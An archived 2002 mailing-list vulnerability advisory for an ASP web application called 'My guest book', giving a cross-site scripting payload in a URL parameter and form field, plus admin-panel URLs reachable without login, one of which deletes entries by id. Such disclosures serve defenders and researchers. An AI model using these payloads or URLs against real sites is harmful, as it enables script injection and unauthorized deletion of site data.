Vulnerability in my guest book

From: Over_G (overgat_private)
Date: Wed Mar 27 2002 - 07:07:27 PST

Previous message: martin f krafft: "Re: DoS in debian (potato) proftpd: 1.2.0pre10-2.0potato1"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Product: My guest book
Version: ?
OffSite: ?
Problem: CSS and unauthorized access in admin panel
--------------------------------------------------------------

1)Cross Site scripting

http://[target]/myguestBk/add1.asp?name=Name&subject=Subj&email=M@IL&message=<scr*pt>alert ("Test!")</scr*pt>

Or open http://[target]/myguestBk/add.asp and write in "Message" field: 
<scr*pt>alert ("Test!")</scr*pt> and press "Post Message".


2)Unauthorized access in admin panel

http://[target]/myguestBk/admin/index.asp
Delete news:
http://[target]/myguestBk/admin/delEnt.asp?id=NEWSNUMBER
with NEWSNUMBER - news number in database.




Contacts: www.overg.com www.dwcgr0up.com
irc.zaingandol.org #DWC
ogprogat_private


Best regards, Over G[DWC Gr0up]

Previous message: martin f krafft: "Re: DoS in debian (potato) proftpd: 1.2.0pre10-2.0potato1"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Thu Mar 27 2003 - 09:10:58 PST